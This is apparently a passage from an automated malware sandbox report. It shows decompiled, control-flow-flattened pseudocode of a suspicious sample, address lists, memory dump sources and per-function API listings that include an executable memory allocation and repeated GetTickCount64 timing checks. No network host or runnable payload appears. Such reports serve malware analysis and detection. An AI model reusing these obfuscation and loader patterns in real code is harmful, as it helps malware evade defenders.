							__eflags = 0;
							 *_t491 = 0;
							L16:
							_t429 =  &(_t429[1]);
							__eflags =  *_t429 - _t442;
						} while (__eflags != 0);
						goto L17;
					}
					if(_t492 == 0x735677c) {
						_push(_t453);
						E00FBEA55(_t498, _v1608, __eflags, _v1616, _t442, _v1628, _t442, _v1656, _v1604, _t442);
						_t442 = 1;
						__eflags = 1;
						L23:
						return _t442;
					}
					if(_t492 == 0x849210b) {
						E00FAB3B4(_v1564, _t453, _v1676, _t453, _v1700,  &_v1040, _v1588, _v1572);
						E00FB855C( &_v520, _v1652, __eflags, _v1728, _v1640, _v1564, _v1692);
						_push(_v1720);
						_push(_v1580);
						E00FB2EA5( &_v520, __eflags,  &_v1040, 0xfa10f0, _v1612, _v1596, E00FBCD35(0xfa10f0, _v1712, __eflags), _v1632, _v1568, _t498);
						_t453 = _v1696;
						E00FB629F(_t453, _t435, _v1584, _v1648, _v1592);
						_t499 =  &(_t499[0x18]);
						_t492 = 0x735677c;
						continue;
					}
					_t509 = _t492 - 0xc3103c3;
					if(_t492 == 0xc3103c3) {
						_push(_v1624);
						_push(_v1724);
						_t440 = E00FA2C3A(_v1684,  &_v1560, _v1716, E00FBCD35(0xfa1070, _v1576, _t509), _v1660); // executed
						_t453 = _v1668;
						asm("sbb edi, edi");
						_t492 = ( ~_t440 & 0xfc429d7e) + 0xc06838d;
						E00FB629F(_t453, _t439, _v1708, _v1600, _v1620);
						_t499 =  &(_t499[8]);
					}
					L20:
					if(_t492 != 0xc06838d) {
						continue;
					}
					goto L23;
				}
				_t453 = _v1664;
				E00FB365D(_t453,  &_v1560, _v1672, 0x208, _v1636, _v1644);
				_t499 =  &(_t499[4]);
				_t492 = 0x2b93872;
				goto L20;
			}

0x00fc1291
0x00fc1297
0x00fc12a4
0x00fc12af
0x00fc12ba
0x00fc12c2
0x00fc12ca
0x00fc12cf
0x00fc12d7
0x00fc12df
0x00fc12e7
0x00fc12ec
0x00fc12fa
0x00fc12fe
0x00fc1300
0x00fc1308
0x00fc130d
0x00fc1315
0x00fc131d
0x00fc1325
0x00fc132d
0x00fc1335
0x00fc133d
0x00fc1341
0x00fc1349
0x00fc1351
0x00fc1359
0x00fc135e
0x00fc1366
0x00fc136e
0x00fc1376
0x00fc137b
0x00fc1383
0x00fc1388
0x00fc1390
0x00fc139b
0x00fc13a6
0x00fc13b1
0x00fc13bf
0x00fc13c4
0x00fc13ca
0x00fc13d3
0x00fc13d8
0x00fc13de
0x00fc13e6
0x00fc13ee
0x00fc13f2
0x00fc13f7
0x00fc13ff
0x00fc1407
0x00fc140c
0x00fc1414
0x00fc141c
0x00fc1424
0x00fc142c
0x00fc1434
0x00fc143c
0x00fc1444
0x00fc144c
0x00fc1454
0x00fc145c
0x00fc1464
0x00fc1467
0x00fc146b
0x00fc1473
0x00fc1483
0x00fc1488
0x00fc148e
0x00fc1496
0x00fc149b
0x00fc14a3
0x00fc14ab
0x00fc14b3
0x00fc14b8
0x00fc14bd
0x00fc14c5
0x00fc14d7
0x00fc14dc
0x00fc14e5
0x00fc14f0
0x00fc14fb
0x00fc1502
0x00fc150d
0x00fc1518
0x00fc1523
0x00fc152e
0x00fc1539
0x00fc1541
0x00fc1546
0x00fc154b
0x00fc1553
0x00fc155b
0x00fc1567
0x00fc156c
0x00fc1572
0x00fc157a
0x00fc1582
0x00fc158a
0x00fc1595
0x00fc15a0
0x00fc15ab
0x00fc15b3
0x00fc15b8
0x00fc15c0
0x00fc15c8
0x00fc15d0
0x00fc15d4
0x00fc15de
0x00fc15e1
0x00fc15e5
0x00fc15ed
0x00fc15f5
0x00fc15fa
0x00fc15fe
0x00fc1606
0x00fc160a
0x00fc1612
0x00fc161a
0x00fc1622
0x00fc1627
0x00fc162f
0x00fc1637
0x00fc1644
0x00fc1645
0x00fc164f
0x00fc1653
0x00fc165d
0x00fc1665
0x00fc1670
0x00fc167b
0x00fc1686
0x00fc168e
0x00fc169a
0x00fc169d
0x00fc16a1
0x00fc16a9
0x00fc16b1
0x00fc16b9
0x00fc16be
0x00fc16c6
0x00fc16cb
0x00fc16d3
0x00fc16de
0x00fc16e9
0x00fc16f4
0x00fc16ff
0x00fc170a
0x00fc1712
0x00fc171d
0x00fc1725
0x00fc172a
0x00fc1732
0x00fc173a
0x00fc1745
0x00fc1750
0x00fc175b
0x00fc1763
0x00fc1768
0x00fc1770
0x00fc1778
0x00fc1780
0x00fc178b
0x00fc1796
0x00fc17a1
0x00fc17b1
0x00fc17b5
0x00fc17bd
0x00fc17c5
0x00fc17d0
0x00fc17db
0x00fc17e6
0x00fc17f1
0x00fc17fc
0x00fc1807
0x00fc1812
0x00fc181d
0x00fc1828
0x00fc1833
0x00fc183b
0x00fc1848
0x00fc1849
0x00fc184d
0x00fc1855
0x00fc185d
0x00fc1865
0x00fc1870
0x00fc1874
0x00fc187c
0x00fc1887
0x00fc1892
0x00fc189d
0x00fc18a4
0x00fc18b6
0x00fc1a70
0x00fc1a72
0x00000000
0x00fc1a72
0x00fc18c2
0x00fc1a1e
0x00fc1a20
0x00fc1a24
0x00fc1a59
0x00fc1a59
0x00000000
0x00000000
0x00000000
0x00000000
0x00fc1a26
0x00fc1a26
0x00fc1a26
0x00fc1a2a
0x00000000
0x00000000
0x00fc1a2c
0x00fc1a41
0x00fc1a41
0x00fc1a44
0x00fc1a47
0x00fc1a4a
0x00000000
0x00000000
0x00fc1a35
0x00fc1a39
0x00000000
0x00000000
0x00fc1a3b
0x00fc1a3e
0x00fc1a3e
0x00fc1a3e
0x00fc1a4c
0x00fc1a4c
0x00fc1a4e
0x00fc1a51
0x00fc1a51
0x00fc1a54
0x00fc1a54
0x00000000
0x00fc1a26
0x00fc18ce
0x00fc1ab3
0x00fc1ad9
0x00fc1ae3
0x00fc1ae3
0x00fc1ae7
0x00fc1af0
0x00fc1af0
0x00fc18da
0x00fc197a
0x00fc199a
0x00fc199f
0x00fc19a8
0x00fc19ec
0x00fc1a08
0x00fc1a0c
0x00fc1a11
0x00fc1a14
0x00000000
0x00fc1a14
0x00fc18dc
0x00fc18e2
0x00fc18e8
0x00fc18f1
0x00fc1917
0x00fc1934
0x00fc1938
0x00fc1940
0x00fc1946
0x00fc194b
0x00fc194b
0x00fc1aa5
0x00fc1aab
0x00000000
0x00000000
0x00000000
0x00fc1ab1
0x00fc1a94
0x00fc1a98
0x00fc1a9d
0x00fc1aa0
0x00000000

Strings

#lp$, xrefs: 00FC1434
_, xrefs: 00FC1812
^6, xrefs: 00FC148E
"u, xrefs: 00FC15F5
|@E, xrefs: 00FC178B
Uk, xrefs: 00FC14A3
[B, xrefs: 00FC17E6
9a\, xrefs: 00FC162F

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 9a\$ Uk$#lp$$[B$^6$|@E$"u$_
API String ID: 0-1868176208
Opcode ID: 3eceee7dec983813d44cf8e052cce99d50faf8aebd9d69b284a40d1883fcf37e
Instruction ID: fbb04b60a036e1a6ffec1f7ee93ad751db069a7553c9566ee2b39c9c54e32455
Opcode Fuzzy Hash: 3eceee7dec983813d44cf8e052cce99d50faf8aebd9d69b284a40d1883fcf37e
Instruction Fuzzy Hash: 8E1221725093809FD368CF21C58AA8BBBF2FBC5754F108A1DE1DA86261D7B58949DF03

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC9990, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(asd,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6EDC9B65
GetLastError.KERNEL32 ref: 6EDC9B6B
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 6EDC9B87

Strings

asd, xrefs: 6EDC9B5C

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocCreateErrorFileLastVirtual
String ID: asd
API String ID: 1112224254-4170839921
Opcode ID: 486e80f17e3ed631a90c794e5bef005368dc224375bdeeafce955a0d1ede5c03
Instruction ID: b63c06ae41552613079af6ecb69381a9753713dbeeaebae98f528ff76ecdd351
Opcode Fuzzy Hash: 486e80f17e3ed631a90c794e5bef005368dc224375bdeeafce955a0d1ede5c03
Instruction Fuzzy Hash: BAE1DE71A08306CFC750CF98C880B2AB7E9FF88B98F14456DE9999B345D771E855CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB1290, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC97D6
Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC97F4
Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC980D
Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC980F
Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC9816
Part of subcall function 6EDC97A0: GetTickCount64.KERNEL32 ref: 6EDC9834

GetProcessHeap.KERNEL32 ref: 6EDB1337
HeapAlloc.KERNEL32(01360000,00000000,00023000), ref: 6EDB1351
HeapFree.KERNEL32(00000000,?), ref: 6EDB1435

Strings

'`Ly, xrefs: 6EDB1319

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick$Heap$AllocFreeProcess
String ID: '`Ly
API String ID: 2047189075-560155178
Opcode ID: 0213fe565b25cfa66977187c71ba67f15cb3d8b3ea90f96619f95ea693b4df30
Instruction ID: 480b7ffb11b8ce6057448955db3893466856a04c1eee1b9ac2f2bc76e457b79c
Opcode Fuzzy Hash: 0213fe565b25cfa66977187c71ba67f15cb3d8b3ea90f96619f95ea693b4df30
Instruction Fuzzy Hash: B9518870A00B448FD3258F65D880B56BBF8FF58758F108A2DD8968BB45E735F5098BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCA21B, Relevance: 10.6, APIs: 7, Instructions: 136COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6EDCA262
___scrt_uninitialize_crt.LIBCMT ref: 6EDCA27C

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 97fc0f73efb4696160af716521aa3b330edf274423416e077b07b3acc5fbb2ff
Instruction ID: bc13ddf0923e77020dab8a9e48ab2aa8aa0ffe6b6457711fe8d67a6a2abefc1b
Opcode Fuzzy Hash: 97fc0f73efb4696160af716521aa3b330edf274423416e077b07b3acc5fbb2ff
Instruction Fuzzy Hash: B841B372D04629EFDB118FE4C900B9E7A7DEB41FD4F01491AE81757240D7318D529BB2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCA2CB, Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6EDCA308
dllmain_crt_dispatch.LIBCMT ref: 6EDCA31F
dllmain_raw.LIBCMT ref: 6EDCA367
dllmain_crt_dispatch.LIBCMT ref: 6EDCA37A
dllmain_raw.LIBCMT ref: 6EDCA38D

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 80aa8e157aa34e09ee0e41b5254ff0e2878dce0f6ffd7589cf39eb52a652f44d
Instruction ID: 06d4f1cc63fcb04cc89a9dde60317977270831543e6e44e02669beeaee5bfffd
Opcode Fuzzy Hash: 80aa8e157aa34e09ee0e41b5254ff0e2878dce0f6ffd7589cf39eb52a652f44d
Instruction Fuzzy Hash: CF21BC72E00629EFCB628FD5CD50AAF3A7DEB81FD4B014519FC2657210C3318D528BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC4E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(api-ms-win-core-synch-l1-2-0), ref: 6EDBC4E5
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6EDBC4F5

Strings

WaitOnAddress, xrefs: 6EDBC4EF
api-ms-win-core-synch-l1-2-0, xrefs: 6EDBC4E0

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WaitOnAddress$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1891578837
Opcode ID: 71d4c1694ba38d5a113358ffdbfd09398f516eefd65e02230353f228c36635ff
Instruction ID: 1a28fa5e3d6fbd7a9ba210c8be93324a898ea89cb298730dd615edfb68fd913b
Opcode Fuzzy Hash: 71d4c1694ba38d5a113358ffdbfd09398f516eefd65e02230353f228c36635ff
Instruction Fuzzy Hash: F3B092B5E04946EAAEA1ABF24D0CF263928BD5121B30294906456EA148DA20C0069E21

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC460, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(api-ms-win-core-synch-l1-2-0), ref: 6EDBC465
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6EDBC475

Strings

WakeByAddressSingle, xrefs: 6EDBC46F
api-ms-win-core-synch-l1-2-0, xrefs: 6EDBC460

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1731903895
Opcode ID: f6777d5ce5929f4bd84c9ad9b36127755be09f726729470f1fb5581d5f81d768
Instruction ID: 74baa99e358bba51975b461c4304a834e7957789f973f2767f04985348e9100e
Opcode Fuzzy Hash: f6777d5ce5929f4bd84c9ad9b36127755be09f726729470f1fb5581d5f81d768
Instruction Fuzzy Hash: 42B092B5A04945EAAE91ABF18D0CF262928AD8221730294906192DA188DA20C1069E21

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCA114, Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6EDCA161

Part of subcall function 6EDCA7ED: InitializeSListHead.KERNEL32(6EE0B140,6EDCA16B,6EE07D60,00000010,6EDCA0FC,?,?,?,6EDCA324,?,00000001,?,?,00000001,?,6EE07DA8), ref: 6EDCA7F2

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6EDCA1CB

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: cffbb455ac3b327e9009fcbd32dbc2b6d33a7f8e19719683f7471990718091f2
Instruction ID: d85ee0a8fd583b8d312293bfea184c11777f7cfc4d033a1b6b3ecbcf792fca42
Opcode Fuzzy Hash: cffbb455ac3b327e9009fcbd32dbc2b6d33a7f8e19719683f7471990718091f2
Instruction Fuzzy Hash: 2421F0359842A5EADB416BF489057D8376D9F02EECF200C09D4A72B2C1DB224449C7B3

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD209C, Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6EDD20E8
GetFileType.KERNELBASE(00000000), ref: 6EDD20FA

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 2536c399dece71f89b410ddbf6a880a235777071d2b136dc5f28209017de6eeb
Instruction ID: 707b78fe15851bafaa65e635310ac9c9ea6ca56f75e6e42f9cc1063aa527b0fe
Opcode Fuzzy Hash: 2536c399dece71f89b410ddbf6a880a235777071d2b136dc5f28209017de6eeb
Instruction Fuzzy Hash: 6C110371508B068AD7314FBE8C95B22BAA5BB57278B24470EE2F6931F5C330D18AC340

Uniqueness

Uniqueness Score: -1.00%

Function 00FA2C3A, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNELBASE(?,CC74081E,?,?,?,?,?,?,?,?,00000000), ref: 00FA2CBB

Strings

&xU`, xrefs: 00FA2C8E

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: &xU`
API String ID: 1586166983-1954668127
Opcode ID: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction ID: b23bc85dd803e1c013d943c46058988df8331b4a3352ccdc75c82e1bc8883fcb
Opcode Fuzzy Hash: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction Fuzzy Hash: A4011675D01248BFDB04DFD5D94A9DEBFB8EF44310F00C088E819A6221D775AB10AF95

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD0566, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,6EDD017F,00000001,00000364,?,FFFFFFFF,000000FF,?,?,6EDCA44C,?,?,6EDC99B4), ref: 6EDD05A7

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ec9fbf597a5240961a1396449912076dadafc56d8f0dea46755101a5fc05fa25
Instruction ID: b70fac70955b8c34959902c880ac3845bfa36d1b0b38b59a8f5446541b87ef3e
Opcode Fuzzy Hash: ec9fbf597a5240961a1396449912076dadafc56d8f0dea46755101a5fc05fa25
Instruction Fuzzy Hash: 84F0B431544625A7EF515BE69D10B9E375EEBC17E0B104121EC14A7184EB20EA1887F1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCCCF1, Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,6EDCF75B,?,?,?,?,00000000,?,00000000,?,?,6EDD27EE,?,6EDD267D,00000000,?), ref: 6EDCF57F

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 394fc53e08c99cca862bae9559863721be8f44b054bee29c39734308ed2a38b2
Instruction ID: 3fdae19caa347ed8453bf53f7a0f09bb86085e2dd5f9f8bc556acab6b473e494
Opcode Fuzzy Hash: 394fc53e08c99cca862bae9559863721be8f44b054bee29c39734308ed2a38b2
Instruction Fuzzy Hash: F7E04F6539070BA1F9551BF08D1ABE6159D6F45F9CF640918AB28AE0C1EF91C2068133

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCF563, Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,6EDCF75B,?,?,?,?,00000000,?,00000000,?,?,6EDD27EE,?,6EDD267D,00000000,?), ref: 6EDCF57F

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 816a3a4e41b27dbde02ef62fbebf3a3b77ae1fcf4c6627f5a01971c679642402
Instruction ID: 62f569d3936e4fb2070039808f5094a10a5fbdefa332b392a0513399c4af27bc
Opcode Fuzzy Hash: 816a3a4e41b27dbde02ef62fbebf3a3b77ae1fcf4c6627f5a01971c679642402
Instruction Fuzzy Hash: 3FE0C2613D070BA2F9151BF08C1BFE5199D5F45F9CF24051C6B1CAE0C1EBD182068233

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCFBCA, Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?,?,6EDCE812,00000000,6EE07FB8,0000000C,6EDCE7D9,?,?,6EDD0599,?,?,6EDD017F,00000001,00000364,?), ref: 6EDCFBD9

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 097c129fe4722dc7297503d798de8df06b46da6ec170bd78a80c14ec631d1d49
Instruction ID: 8aa477ced7016e7e1c699cdb79a3bf196adcfa7362262fc7772ab27c76d0b1f1
Opcode Fuzzy Hash: 097c129fe4722dc7297503d798de8df06b46da6ec170bd78a80c14ec631d1d49
Instruction Fuzzy Hash: A3B092B388030CAB8F10AAAADC4E8A67B5CA5D16227645011F40D8B161DA75E7618694

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00FACF6E, Relevance: 32.4, Strings: 25, Instructions: 1116
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00FACF6E(void* __fp0) {
				char _v12;
				signed int _v32;
				char _v36;
				signed int _v48;
				char _v56;
				signed int _v60;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				char _v88;
				char _v96;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				signed int _v124;
				signed int _v128;
				unsigned int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				unsigned int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				unsigned int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				unsigned int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				unsigned int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				signed int _v444;
				signed int _v448;
				signed int _v452;
				signed int _v456;
				signed int _v460;
				signed int _v464;
				signed int _v468;
				signed int _v472;
				signed int _v476;
				signed int _v480;
				signed int _v484;
				unsigned int _v488;
				signed int _v492;
				signed int _v496;
				signed int _v500;
				signed int _v504;
				signed int _v508;
				signed int _v512;
				unsigned int _v516;
				signed int _v520;
				signed int _v524;
				signed int _v528;
				unsigned int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				signed int _v564;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _t1171;
				signed int _t1199;
				void* _t1208;
				signed int _t1215;
				signed int _t1239;
				void* _t1243;
				signed int _t1244;
				signed int _t1245;
				signed int _t1246;
				signed int _t1247;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1254;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed int _t1259;
				signed int _t1260;
				signed int _t1261;
				signed int _t1262;
				signed int _t1263;
				signed int _t1355;
				signed int _t1361;
				void* _t1363;
				signed int _t1376;
				signed int _t1389;
				signed int _t1392;
				void* _t1394;
				void* _t1401;
